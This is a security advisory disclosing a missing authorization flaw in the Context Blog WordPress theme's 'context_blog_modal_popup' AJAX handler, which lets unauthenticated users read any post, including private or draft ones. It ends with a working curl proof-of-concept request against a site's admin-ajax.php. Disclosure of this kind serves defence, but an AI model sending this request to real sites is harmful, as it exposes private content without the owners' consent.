Wordpress Theme Repository URL: https://wordpress.org/themes/context-blog/
Plugin Homepage: https://www.postmagthemes.com/downloads/context-blog-free-wordpress-theme/
Plugin Author: postmagthemes https://wordpress.org/themes/author/postmagthemes/
Discovered by: Jason Carle hello@jasoncarle.com
Date: 16/09/2025
The Context Blog WordPress theme contains a missing authorization vulnerability in the AJAX handler 'context_blog_modal_popup' (inc/ajax/modal-popup.php).
The vulnerability allows unauthenticated remote attackers to retrieve the content of any post (or page or any post type) by sending a POST request to wp-admin/admin-ajax.php with the action parameter set to 'context_blog_modal_popup' and a postID parameter. This can lead to unauthorized disclosure of potentially sensitive, draft or private post content.
Any attacker can send a POST request to /wp-admin/admin-ajax.php with:
{
action: 'context_blog_modal_popup',
postID: [any_post_id]
}curl -X POST https://%DOMAIN%/wp-admin/admin-ajax.php
-H "Content-Type: application/x-www-form-urlencoded"
-d "action=context_blog_modal_popup&postID=1" -v
